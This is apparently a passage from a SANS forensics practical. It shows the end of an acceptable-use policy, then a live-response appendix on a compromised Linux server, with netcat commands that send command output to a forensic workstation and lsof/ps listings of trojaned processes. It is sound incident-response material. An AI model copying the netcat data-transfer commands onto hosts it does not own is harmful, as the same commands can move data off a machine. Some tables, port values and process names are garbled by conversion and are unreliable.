15. Interfering with or denying service to any user other than the employee's host (for example, denial of service attack).
16. Using any program/script/command, or sending messages of any kind, with the intent to interfere with, or disable, a user's terminal session, via any means, locally or via the Internet/Intranet/Extranet.
17. Providing information about, or lists of, Some Company employees to parties outside Some Company.

Email and Communications Activities

1. Sending unsolicited email messages, including the sending of "junk mail" or other advertising material to individuals who did not specifically request such material (email spam).
2. Any form of harassment via email, telephone or paging, whether through language, frequency, or size of messages.
3. Unauthorized use, or forging, of email header information.
4. Solicitation of email for any other email address, other than that of the poster's account, with the intent to harass or to collect replies.
5. Creating or forwarding "chain letters", "Ponzi" or other "pyramid" schemes of any type.
6. Use of unsolicited email originating from within Some Company's networks of other Internet/Intranet/Extranet service providers on behalf of, or to advertise, any service hosted by Some Company or connected via Some Company's network.
7. Posting the same or similar non-business-related messages to large numbers of Usenet newsgroups (newsgroup spam).

5.0 Enforcement
Any employee found to have violated this policy may be subject to disciplinary action, up to and including termination of employment.

6.0 Definitions

<table>
<thead>
<tr>
<th>Term</th>
<th>Definition</th>
</tr>
</thead>
<tbody>
<tr>
<td>Spam</td>
<td>Unauthorized and/or unsolicited electronic mass mailings.</td>
</tr>
</tbody>
</table>

7.0 Revision History"
Appendix D

Live Response Review

The following unix binary files were used to perform a "live response process" on the Linux 7.3 machine before it was imaged:

nc          ls          date          w          netstat
lsod         ps          lsmod          ifconfig        md5sum
sh

To determine the library files each tool required, the ldd command was used. See below for an example of using ldd to determine what library files the 'w' executable command required. The library files were copied to the CDROM and the LD_LIBRARY_PATH environment variable was set to the directory the library files were in.

```
root@localhost bin# ldd w
libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x4001a000)
libc.so.6 => /lib/i686/libc.so.6 (0x42000000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
```

The command "ls -l" is used to identify the library files required;

```
-rwxr-xr-x 1 root root 48736 Apr 15 2002 /lib/libproc.so.2.0.7
lrwxrwxrwx 1 root root 13 Dec 9 2002 /lib/i686/libc.so.6 -> libc-2.2.5.so
lrwxrwxrwx 1 root root 11 Dec 9 2002 /lib/ld-linux.so.2 -> ld-2.2.5.so
```

By setting the LD_LIBRARY_PATH to use known good library files, we've ensured the executable will not reference library files on the victim machine. A problem was encountered with the CDROM on the victim machine. The results were the CD would not mount. The floppy disk with the live response commands on it was used. To ensure the library files on the machine were not referenced the binaries were compiled as static.

The live response steps are listed below (CTRL-C was used to end the nc session and write the file on the live response receiving workstation):

<table>
<thead>
<tr>
<th>Forensic Workstation commands</th>
<th>Victim machine commands</th>
</tr>
</thead>
<tbody>
<tr>
<td>nc -l -v -n -p l1l1 &gt;</td>
<td>/mnt/floppy/sh</td>
</tr>
<tr>
<td>starttime.txt</td>
<td></td>
</tr>
<tr>
<td>nc -l -v -n -p l1l1 &gt;</td>
<td>/mnt/floppy/date</td>
</tr>
<tr>
<td></td>
<td>/mnt/floppy/nc 192.168.1.120</td>
</tr>
<tr>
<td></td>
<td>l1l1</td>
</tr>
<tr>
<td></td>
<td>/mnt/floppy/w</td>
</tr>
</tbody>
</table>
The live response starts with the execution of a trusted shell using ‘/mnt/floppy/sh’. The trusted shell is a shell that we know has not been compromised or trojaned.

On the forensic workstation ‘nc’\(^ {14}\) (netcat) is used to wait for the data stream from the victim and write it to the indicated output files. The netcat options are listed below:

- ‘-l’ sets up netcat to listen for an incoming connection.
- ‘-v’ is verbose mode, connection information will be displayed.
- ‘-n’ do not do host or port name lookups.
- ‘-p <port>’ identifies the port netcat will listen on.

The victim machine commands are listed below:

- ‘date’ establishes the startdate for the live response.
- ‘w’ identifies who is logged onto the victim machine.
- ‘netstat -anp’ shows the internet sockets that are open on the victim.
- ‘lsmod’ command helps to identify backdoors and strange network services.
- ‘ps -auxw’ provides the current running processes.
- ‘lsmod’ shows what kernel modules are loaded.


‘netstat -anr’ displays the routing table.
‘ifconfig -a’ shows the configuration of the network interface(s).
‘ls -al /proc’ was missing ‘-R’. Without the ‘-R’ switch the directory listing did not traverse the sub directories. The purpose of reviewing the /proc directory was to look for deleted but still running executables (exe).
‘date’ establishes the stop date for the live response.

The last command run on the forensic host is an MD5 (Message Digest Algorithm #5\(^{16}\)) checksum on all files from the live response.

An analysis of the live response files provided IP addresses, process IDs (PIDs), programs to investigate and directories that looked suspicious. See the next section for the complete listings from the live response.

The netstat-sockets.txt file had notable suspicious events in it. The first one was the presence of nfsd running as PID 19811 on port 18. There were two established connections from the victim to IP address XXX.XXX.2.23 on port 6660 TCP running a program called services on PIDs 19941, 19936. The services PIDs were also waiting for connection on UDP ports 1031 and 1032.

The lsof.txt file showed commands, PIDs and nodes that were notable and suspicious. We see the following programs opening raw sockets and listening on http and https ports.

- minilogd
- weit
- popauth
- chmod
- nfsd

The program popauth program was setup on UDP port 3049. The programs that were opening raw sockets referenced node 550563 with chmod also referencing 552454. Each of the suspicious programs from lsof is shown below:

<table>
<thead>
<tr>
<th>Command</th>
<th>PID</th>
<th>User</th>
<th>FD</th>
<th>TYPE</th>
<th>Device</th>
<th>SIZE</th>
<th>NODE</th>
<th>NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3.5</td>
<td>8896</td>
<td>71809</td>
<td>/sbin/minilogd</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>89547</td>
<td>63490</td>
<td>/lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>1401027</td>
<td>73730</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>0u</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>1u</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>2u</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
</tbody>
</table>

Kevin Miller - Sans GCFA Assignment – v1.4

<table>
<thead>
<tr>
<th>Process</th>
<th>UID</th>
<th>GID</th>
<th>Type</th>
<th>Permissions</th>
<th>Size</th>
<th>File</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>/var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>/tmp/session_mm_apache0.sem (deleted)</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3.5</td>
<td>8192</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>6u</td>
<td>sock</td>
<td>0.0</td>
<td></td>
<td>550563</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>7u</td>
<td>CHR</td>
<td>1.3</td>
<td></td>
<td>9637</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>8u</td>
<td>unix</td>
<td>0xc180540</td>
<td></td>
<td>551280</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3.6</td>
<td>1729</td>
<td>44202</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP</td>
<td>*:https (LISTEN)</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP</td>
<td>*:http (LISTEN)</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>3.6</td>
<td>265</td>
<td>44201</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>44198</td>
</tr>
<tr>
<td>weit</td>
<td>19678</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3.5</td>
<td>2048</td>
<td>40961</td>
</tr>
<tr>
<td>weit</td>
<td>19678</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>2</td>
</tr>
<tr>
<td>weit</td>
<td>19678</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3.2</td>
<td>20914</td>
<td>34503</td>
</tr>
<tr>
<td>weit</td>
<td>19678</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>89547</td>
<td>63490</td>
</tr>
<tr>
<td>weit</td>
<td>19678</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>1401027</td>
<td>73730</td>
</tr>
<tr>
<td>weit</td>
<td>19678</td>
<td>root</td>
<td>0u</td>
<td>sock</td>
<td>0.0</td>
<td></td>
<td>550563</td>
</tr>
<tr>
<td>weit</td>
<td>19678</td>
<td>root</td>
<td>1u</td>
<td>sock</td>
<td>0.0</td>
<td></td>
<td>550563</td>
</tr>
<tr>
<td>weit</td>
<td>19678</td>
<td>root</td>
<td>2u</td>
<td>sock</td>
<td>0.0</td>
<td></td>
<td>550563</td>
</tr>
<tr>
<td>weit</td>
<td>19678</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>38183</td>
</tr>
<tr>
<td>weit</td>
<td>19678</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3.5</td>
<td>0</td>
<td>26691</td>
</tr>
<tr>
<td>weit</td>
<td>19678</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3.5</td>
<td>8192</td>
<td>26693</td>
</tr>
<tr>
<td>weit</td>
<td>19678</td>
<td>root</td>
<td>6u</td>
<td>sock</td>
<td>0.0</td>
<td></td>
<td>550563</td>
</tr>
<tr>
<td>weit</td>
<td>19678</td>
<td>root</td>
<td>7r</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>53319</td>
</tr>
<tr>
<td>weit</td>
<td>19678</td>
<td>root</td>
<td>8r</td>
<td>DIR</td>
<td>3.5</td>
<td>2048</td>
<td>40961</td>
</tr>
<tr>
<td>weit</td>
<td>19678</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3.6</td>
<td>1729</td>
<td>44202</td>
</tr>
<tr>
<td>weit</td>
<td>19678</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP</td>
<td>*:https (LISTEN)</td>
</tr>
<tr>
<td>weit</td>
<td>19678</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP</td>
<td>*:http (LISTEN)</td>
</tr>
<tr>
<td>weit</td>
<td>19678</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>3.6</td>
<td>265</td>
<td>44201</td>
</tr>
<tr>
<td>weit</td>
<td>19678</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>44198</td>
</tr>
<tr>
<td>popauth</td>
<td>19685</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>55343</td>
</tr>
<tr>
<td>popauth</td>
<td>19685</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>2</td>
</tr>
<tr>
<td>popauth</td>
<td>19685</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3.5</td>
<td>36415</td>
<td>55345</td>
</tr>
<tr>
<td>popauth</td>
<td>19685</td>
<td>root</td>
<td>0u</td>
<td>sock</td>
<td>0.0</td>
<td></td>
<td>550563</td>
</tr>
<tr>
<td>popauth</td>
<td>19685</td>
<td>root</td>
<td>1w</td>
<td>CHR</td>
<td>1.3</td>
<td></td>
<td>9637</td>
</tr>
<tr>
<td>popauth</td>
<td>19685</td>
<td>root</td>
<td>2w</td>
<td>CHR</td>
<td>1.3</td>
<td></td>
<td>9637</td>
</tr>
<tr>
<td>popauth</td>
<td>19685</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>38183</td>
</tr>
<tr>
<td>popauth</td>
<td>19685</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3.5</td>
<td>0</td>
<td>26691</td>
</tr>
<tr>
<td>popauth</td>
<td>19685</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3.5</td>
<td>8192</td>
<td>26693</td>
</tr>
<tr>
<td>popauth</td>
<td>19685</td>
<td>root</td>
<td>6u</td>
<td>sock</td>
<td>0.0</td>
<td></td>
<td>550563</td>
</tr>
<tr>
<td>popauth</td>
<td>19685</td>
<td>root</td>
<td>7r</td>
<td>FIFO</td>
<td>0.5</td>
<td></td>
<td>551501</td>
</tr>
<tr>
<td>popauth</td>
<td>19685</td>
<td>root</td>
<td>8w</td>
<td>FIFO</td>
<td>0.5</td>
<td></td>
<td>551501</td>
</tr>
<tr>
<td>popauth</td>
<td>19685</td>
<td>root</td>
<td>9u</td>
<td>IPv4</td>
<td>551503</td>
<td>UDP</td>
<td>*:3049</td>
</tr>
<tr>
<td>popauth</td>
<td>19685</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3.6</td>
<td>1729</td>
<td>44202</td>
</tr>
<tr>
<td>popauth</td>
<td>19685</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP</td>
<td>*:https (LISTEN)</td>
</tr>
<tr>
<td>popauth</td>
<td>19685</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP</td>
<td>*:http (LISTEN)</td>
</tr>
<tr>
<td>popauth</td>
<td>19685</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>3.6</td>
<td>265</td>
<td>44201</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
<table>
<thead>
<tr>
<th>Command</th>
<th>User</th>
<th>Group</th>
<th>Mode</th>
<th>Size</th>
<th>File of Interest</th>
</tr>
</thead>
<tbody>
<tr>
<td>popauth</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>3.6</td>
<td>0 44198  /var/log/ssl_request_log</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3.5</td>
<td>2048 40961  /bin</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024 2  /</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3.5</td>
<td>30102 40980  /bin/chmod</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>89547 63490  /lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>1401027 73730  /lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>0u</td>
<td>sock</td>
<td>0.0</td>
<td>550563  can't identify protocol</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>1u</td>
<td>sock</td>
<td>0.0</td>
<td>550563  can't identify protocol</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>2u</td>
<td>sock</td>
<td>0.0</td>
<td>550563  can't identify protocol</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3.5</td>
<td>0 38183  /var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3.5</td>
<td>0 26691  /tmp/session_mm_apache0.sem (deleted)</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3.5</td>
<td>8192 26693  /tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>7r</td>
<td>DIR</td>
<td>3.5</td>
<td>1024 20563  /tmp/s/nfsd</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>8r</td>
<td>DIR</td>
<td>3.5</td>
<td>2048 40961  /bin</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>9u</td>
<td>REG</td>
<td>3.5</td>
<td>0 15635  /dev/hdx1</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>10u</td>
<td>sock</td>
<td>0.0</td>
<td>552454  can't identify protocol</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3.5</td>
<td>1729 44202  /var/log/httpd/error_log</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP &quot;https (LISTEN)&quot;</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP &quot;http (LISTEN)&quot;</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>3.5</td>
<td>285 44201  /var/log/httpd/access_log</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>3.5</td>
<td>0 44198  /var/log/ssl_request_log</td>
</tr>
<tr>
<td>nfsd</td>
<td>19810</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3.5</td>
</tr>
<tr>
<td>nfsd</td>
<td>19810</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3.5</td>
</tr>
<tr>
<td>nfsd</td>
<td>19810</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3.5</td>
</tr>
<tr>
<td>nfsd</td>
<td>19810</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
</tr>
<tr>
<td>nfsd</td>
<td>19810</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3.5</td>
</tr>
<tr>
<td>nfsd</td>
<td>19810</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3.5</td>
</tr>
<tr>
<td>nfsd</td>
<td>19810</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3.5</td>
</tr>
<tr>
<td>nfsd</td>
<td>19810</td>
<td>root</td>
<td>7r</td>
<td>DIR</td>
<td>3.5</td>
</tr>
<tr>
<td>nfsd</td>
<td>19810</td>
<td>root</td>
<td>8r</td>
<td>DIR</td>
<td>3.5</td>
</tr>
<tr>
<td>nfsd</td>
<td>19810</td>
<td>root</td>
<td>9u</td>
<td>REG</td>
<td>3.5</td>
</tr>
<tr>
<td>nfsd</td>
<td>19810</td>
<td>root</td>
<td>10u</td>
<td>sock</td>
<td>0.0</td>
</tr>
<tr>
<td>nfsd</td>
<td>19810</td>
<td>root</td>
<td>1u</td>
<td>sock</td>
<td>0.0</td>
</tr>
<tr>
<td>nfsd</td>
<td>19810</td>
<td>root</td>
<td>2u</td>
<td>sock</td>
<td>0.0</td>
</tr>
<tr>
<td>nfsd</td>
<td>19810</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3.5</td>
</tr>
<tr>
<td>nfsd</td>
<td>19810</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3.5</td>
</tr>
<tr>
<td>nfsd</td>
<td>19810</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3.5</td>
</tr>
<tr>
<td>nfsd</td>
<td>19810</td>
<td>root</td>
<td>7r</td>
<td>DIR</td>
<td>3.5</td>
</tr>
<tr>
<td>nfsd</td>
<td>19810</td>
<td>root</td>
<td>8r</td>
<td>DIR</td>
<td>3.5</td>
</tr>
<tr>
<td>nfsd</td>
<td>19810</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3.5</td>
</tr>
<tr>
<td>nfsd</td>
<td>19810</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
</tr>
<tr>
<td>nfsd</td>
<td>19810</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
</tr>
<tr>
<td>nfsd</td>
<td>19810</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>3.5</td>
</tr>
<tr>
<td>nfsd</td>
<td>19810</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>3.5</td>
</tr>
<tr>
<td>nfsd</td>
<td>19811</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3.5</td>
</tr>
<tr>
<td>nfsd</td>
<td>19811</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3.5</td>
</tr>
<tr>
<td>nfsd</td>
<td>19811</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3.5</td>
</tr>
</tbody>
</table>
Table 6. Suspicious events from lsof.txt

The ps.txt output was examined looking for suspicious processes especially those that had already been identified. The suspicious processes minilogn, weib, popauth and nfsd were all started on Jun 29. The nfsd processes line was very suspicious, the line was:

“/usr/sbin/nfsd -f /sbin/sshd_config”

The sshd_config file is the configuration file for secure shell (ssh) a program used to allow secure, encrypted remote terminal access. The sshd_config file was located in the /sbin directory and was flagged a suspicious file. Another file of interest was located in the /bin directory called hostname. The apache process had a large number of suspicious processes. Table 7 shows the suspicious processes started on Jun 29.

<table>
<thead>
<tr>
<th>USER</th>
<th>PID</th>
<th>%CPU</th>
<th>%MEM</th>
<th>VSIZE</th>
<th>RSS</th>
<th>TTY</th>
<th>STAT</th>
<th>START</th>
<th>TIME</th>
<th>COMMAND</th>
</tr>
</thead>
<tbody>
<tr>
<td>apache</td>
<td>10606</td>
<td>0</td>
<td>1</td>
<td>79844</td>
<td>1340</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10607</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10608</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1260</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10609</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10610</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1260</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10611</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10612</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10613</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>User</td>
<td>PID</td>
<td>Priority</td>
<td>Username</td>
<td>Group</td>
<td>Time</td>
<td>Command</td>
<td>Options</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>--------</td>
<td>------</td>
<td>----------</td>
<td>----------</td>
<td>-------</td>
<td>--------</td>
<td>--------------------------------</td>
<td>------------------------------</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19365</td>
<td>0.9</td>
<td>apache</td>
<td>apache</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd</td>
<td>DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19366</td>
<td>0.9</td>
<td>apache</td>
<td>apache</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd</td>
<td>DHAVE_ACCESS - DHAVE_PROXY - DHAVE_AUTH_ANON - DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19367</td>
<td>0.9</td>
<td>apache</td>
<td>apache</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd</td>
<td>DHAVE_ACCESS - DHAVE_PROXY - DHAVE_AUTH_ANON - DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19368</td>
<td>0.9</td>
<td>apache</td>
<td>apache</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd</td>
<td>DHAVE_ACCESS - DHAVE_PROXY - DHAVE_AUTH_ANON - DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19369</td>
<td>0.9</td>
<td>apache</td>
<td>apache</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd</td>
<td>DHAVE_ACCESS - DHAVE_PROXY - DHAVE_AUTH_ANON - DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19370</td>
<td>0.9</td>
<td>apache</td>
<td>apache</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd</td>
<td>DHAVE_ACCESS - DHAVE_PROXY - DHAVE_AUTH_ANON - DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19371</td>
<td>0.9</td>
<td>apache</td>
<td>apache</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd</td>
<td>DHAVE_ACCESS - DHAVE_PROXY - DHAVE_AUTH_ANON - DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19372</td>
<td>0.9</td>
<td>apache</td>
<td>apache</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd</td>
<td>DHAVE_ACCESS - DHAVE_PROXY - DHAVE_AUTH_ANON - DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19373</td>
<td>0.9</td>
<td>apache</td>
<td>apache</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd</td>
<td>DHAVE_ACCESS - DHAVE_PROXY - DHAVE_AUTH_ANON - DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19374</td>
<td>0.9</td>
<td>apache</td>
<td>apache</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd</td>
<td>DHAVE_ACCESS - DHAVE_PROXY - DHAVE_AUTH_ANON - DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19375</td>
<td>0.9</td>
<td>apache</td>
<td>apache</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd</td>
<td>DHAVE_ACCESS - DHAVE_PROXY - DHAVE_AUTH_ANON - DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19635</td>
<td>0.3</td>
<td>root</td>
<td>root</td>
<td>Jun-29</td>
<td>minilogd</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19678</td>
<td>0.1</td>
<td>root</td>
<td>root</td>
<td>Jun-29</td>
<td>/usr/bin/weit</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19685</td>
<td>0</td>
<td>root</td>
<td>root</td>
<td>Jun-29</td>
<td>popauth</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19686</td>
<td>0</td>
<td>root</td>
<td>root</td>
<td>Jun-29</td>
